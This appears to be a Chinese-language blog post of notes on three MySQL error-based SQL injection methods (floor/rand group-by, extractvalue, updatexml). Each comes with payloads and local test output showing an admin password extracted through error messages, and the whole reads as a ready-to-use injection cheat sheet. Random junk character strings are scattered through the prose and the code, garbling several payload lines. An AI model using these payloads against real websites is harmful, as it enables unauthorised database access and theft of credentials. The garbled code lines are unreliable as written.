关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
! E1 r( Z7 L' [2 o实际测试环境：
​

+ }6 N6 s$ x& p. v$ N& [mysql> show tables;
# a, K2 w7 V% y4 m' Q  C  W+----------------+
# b. K- W9 {2 b. C| Tables_in_test |
/ K4 v  S2 r; P/ N) Z4 \+ T. b+----------------+
9 f7 t# W* l# m0 @9 z" t) M| admin          |
| article        |
$ n# i8 R% u0 ^3 ]7 t: |0 ~+----------------+

/ i  S7 D' @$ N( d
" Z0 a- W- \/ \: ~5 v/ c3 |
7 q) d2 x; ^6 R5 bmysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
) g1 v6 \4 p) |0 f8 h. t/ Y+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
. i* S5 ~9 |, k9 \| user  | varchar(50)      | NO   |     | NULL    |                |
  h4 e0 S! |0 b/ [" v0 Y, V| pass  | varchar(50)      | NO   |     | NULL    |                |
; F1 I" w& v5 W. d+-------+------------------+------+-----+---------+----------------+
  t$ Y, q$ z' |9 g9 h5 H: O' |* o& u- u

6 P1 q- ~. E8 z% a( x: R" o1 L; X7 {
mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
. Z  A- a$ J: B$ O| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
- w$ L1 [8 S6 d0 }" C| title   | varchar(50)      | NO   |     | NULL    |                |
6 x( q/ n$ ~6 b5 Z; l| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
5 z4 o4 q) }0 U! J! a+ R

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
4 q  H  P3 U6 U/ h5 Ofrom information_schema.tables group by x)a);


and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
4 k/ J5 _; v6 h& ?  Z5 afloor(rand(0)*2)));
" z: D# z. a4 j' Y' Y举例如下：
: Z0 r3 {5 Y. X% w1 q, ?首先进行正常查询：
* B6 }# J6 `  k
mysql> select * from article where id = 1;
2 e5 R/ l, P! e% b0 y0 V+----+-------+---------+
| id | title | content |
6 J. Q- e. [% t  U0 A+----+-------+---------+
, N" a# \( A* `" q' s|  1 | test  | do it   |
4 S) T9 v# p0 ], i0 n; `4 g+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。
* Q- }* s  B1 l6 Y' _1 M

mysql> select * from article where id = 1 and (select 1 from
  ~" c* y+ O4 j+ c5 G% \3 W2 O(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
( u. s, F0 X1 D可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
! t' H3 }$ Z, [% d8 {2 p' d例如我们需要查询管理员用户名和密码：
0 i. J/ y8 R1 I6 D" EMethod1:
( m8 H6 q* `! M

mysql> select * from article where id = 1 and (select 1 from
5 w+ H. Z$ O! G6 x1 K3 b( V: j(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
6 Y+ U  Z/ j. c& D8 Cfrom information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:

1 v0 @& P+ h: z' F5 v
5 Y- ~  L- [- F' J- ~# Qmysql> select * from article where id = 1 and (select count(*)
& J. \) V2 A0 W+ Kfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
6 x" q$ L5 C4 |. `  J# T. A8 Y; ufloor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下


8 z4 \  k. D9 m/ i: K" Kand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
9 h8 x9 ]. y- H0 N3 ?, Z实际测试过程
! x1 ]( [( E: X! V: a3 v8 c6 f
& g) E9 O/ m6 P( ?0 H5 ]
1 I6 O* b1 q. P$ L7 Ymysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
1 V0 g2 `" C; C(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
( X% y) _3 x3 O3 V; `6 @3、UpdateXml
' U0 ~. u; o6 g# b) L% F测试语句


and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
5 L# U- J' d& z$ x1 ?实际测试过程


6 s2 x" |, i2 ^# l  D# ~6 umysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
: j: T& }! |  m8 G3 h(select pass from admin limit 1),0x5e24),1));
' u7 W+ W; w" I/ ]6 z( I, h# i( \ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
" `7 T+ n& s& V( t! c8 |, TAll, thanks foreign guys.
" i% U8 C4 n6 o6 S/ x
( h9 A3 T+ m. b​
! N+ y0 n* U" b4 D2 c# U1 X4 o, I